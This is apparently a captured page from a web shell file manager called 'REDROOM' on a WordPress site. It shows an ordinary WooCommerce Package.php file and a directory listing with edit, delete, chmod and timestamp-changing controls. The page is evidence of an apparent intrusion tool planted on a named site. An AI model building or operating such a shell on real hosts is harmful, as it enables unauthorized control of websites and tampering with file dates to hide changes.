REDROOM
PHP 8.2.31
Path:
Logout
Edit File
Size: 1.52 KB
Close
/home/nshryvcy/radiantskinclinics.org/wp-content/plugins/woocommerce/includes/rest-api/Package.php
Text
Base64
<?php /** * Deprecated notice: This class is deprecated as of version 4.5.0. WooCommerce API is now part of core and not packaged separately. * * Returns information about the package and handles init. * * @package WooCommerce\RestApi */ namespace Automattic\WooCommerce\RestApi; defined( 'ABSPATH' ) || exit; /** * Main package class. * * @deprecated Use \Automattic\WooCommerce\RestApi\Server directly. */ class Package { /** * Version. * * @deprecated since 4.5.0. This tracks WooCommerce version now. * @var string */ const VERSION = WC_VERSION; /** * Init the package - load the REST API Server class. * * @deprecated since 4.5.0. Directly call Automattic\WooCommerce\RestApi\Server::instance()->init() */ public static function init() { wc_deprecated_function( 'Automattic\WooCommerce\RestApi\Server::instance()->init()', '4.5.0' ); \Automattic\WooCommerce\RestApi\Server::instance()->init(); } /** * Return the version of the package. * * @deprecated since 4.5.0. This tracks WooCommerce version now. * @return string */ public static function get_version() { wc_deprecated_function( 'WC()->version', '4.5.0' ); return WC()->version; } /** * Return the path to the package. * * @deprecated since 4.5.0. Directly call Automattic\WooCommerce\RestApi\Server::get_path() * @return string */ public static function get_path() { wc_deprecated_function( 'Automattic\WooCommerce\RestApi\Server::get_path()', '4.5.0' ); return \Automattic\WooCommerce\RestApi\Server::get_path(); } }
Save
Close
Exit & Reset
Text mode: syntax highlighting auto-detects file type.
Directory Contents
Dirs: 2 × Files: 2
Delete Selected
Select All
Select None
Sort:
Name
Size
Modified
Enable drag-to-move
Name
Size
Perms
Modified
Actions
Controllers
DIR
-
drwxr-xr-x
2026-05-29 02:43:21
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Utilities
DIR
-
drwxr-xr-x
2026-05-29 02:43:21
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Package.php
1.52 KB
lrw-r--r--
2022-04-20 06:50:54
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Server.php
13.64 KB
lrw-r--r--
2025-11-24 23:10:10
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Zip Selected
If ZipArchive is unavailable, a
.tar
will be created (no compression).